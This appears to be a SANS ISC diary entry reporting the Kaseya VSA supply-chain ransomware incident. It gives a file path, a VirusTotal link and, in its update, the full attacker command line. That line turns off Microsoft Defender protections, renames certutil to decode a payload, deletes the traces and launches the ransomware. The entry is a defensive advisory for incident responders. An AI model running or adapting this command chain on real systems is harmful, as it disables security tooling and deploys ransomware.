We are aware that some MSSP's customers (Managed Security Services Providers) have been hit by a ransomware. It seems that four(4) MSSP's have been affected until now. The ransomware was spread through the remote management solution "VSA"  provided by Kaseya[1]. This looks to be a brand new type of supply chain attack.

What we know so far? Kaseya requested all customers to shutdown their on-premises  servers (the cloud version is already down) because, once compromised, prevent access to the device.

The ransomware is dropped to  c:\kworking\agent.exe[2].

If you're a Kaseya's VSA user, please check as soon as possible with your representative to mitigate this attack. We will update this diary with more information when available.

[Update 1]

Some artiacts:

Suspicious directory: C:\kworking

AgentMon.exe 
-> cmd.exe /c ping 127.0.0.1 -n 6745 > nul & C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Set-MpPreference -DisableRealtimeMonitoring $true -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend & copy /Y C:\Windows\System32\certutil.exe C:\Windows\cert.exe & echo %RANDOM% >> C:\Windows\cert.exe & C:\Windows\cert.exe -decode c:\kworking\agent.crt c:\kworking\agent.exe & del /q /f c:\kworking\agent.crt C:\Windows\cert.exe & c:\kworking\agent.exe ??> powershell.exe Set-MpPreference -DisableRealtimeMonitoring $true -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend

[1] https://helpdesk.kaseya.com/hc/en-gb/articles/4403440684689
[2] https://www.virustotal.com/gui/file/d55f983c994caa160ec63a59f6b4250fe67fb3e8c43a388aec60a4a6978e9f1e/detection

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key